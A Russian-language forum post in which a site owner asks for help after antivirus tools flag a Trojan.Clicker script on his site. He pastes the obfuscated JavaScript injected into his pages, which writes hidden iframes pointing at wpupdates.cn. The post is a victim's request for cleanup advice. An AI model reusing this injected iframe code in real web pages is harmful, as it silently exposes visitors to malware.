Вложений: 3
видимо троян пролез на сайт
Часто добавляю на сайт (tracers.ru) инфу и файлы по фтп. Пользователи начали писать, что антивирусы ругаются при входе на сайти в галерею (на Trojan.Clicker скрипт). Провёл полную проверку компа Авастом, CureIt, AVZ и HijackThis. Отчёты в прикреплённых файлах. Нашёл у себя Авастом несколько троянов и удалил их. В теле главной страницы и в теле страницы галереи появились строчки:
"<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063
\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0070\u0075\u0070\u0064\u0061\u0074\u0065\u0073\u002e\
u0063\u006e\u002f\u0069\u006e\u002e\u0063\u0067\u0069\u003f\u0032\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\
u0030\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0030\u0022\u0020\u0066\u0072\u0061\u006d\u0065\u0062\
u006f\u0072\u0064\u0065\u0072\u003d\u0022\u0030\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')
</script><script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\
u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0070\u0075\u0070\u0064\u0061\u0074\u0065\u0073\u002e\
u0063\u006e\u002f\u0069\u006e\u002e\u0063\u0067\u0069\u003f\u0032\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\
u0030\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0030\u0022\u0020\u0066\u0072\u0061\u006d\u0065\u0062\
u006f\u0072\u0064\u0065\u0072\u003d\u0022\u0030\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')
</script><script>function v47ac7682dcde0(v47ac7682dd5af){ return(parseInt(v47ac7682dd5af,16));}
function v47ac7682ded20(v47ac7682df4ef){ var v47ac7682dfcbe='';for(v47ac7682e048d=0; v47ac7682e048d<v47ac7682df4ef.length; v47ac7682e048d+=2)
{ v47ac7682dfcbe+=(String.fromCharCode(v47ac7682dcde0(v47ac7682df4ef.substr(v47ac7682e048d, 2))));}return v47ac7682dfcbe;}
document.write(v47ac7682ded20('3C696672616D65206E616D653D2733653939383427207372633D27687474703A2F2F7770757064617465732E636E2F696E2E6367693F32272077696474683D323533206865696768743D353830207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));
</script>"
Которые тоже удалил.
Сейчас вроде и на компе и на сайте чисто, но у пользователей Касперский продолжает ругаться. Помогите решить причину и не допустить её возникновения в дальнейшем.
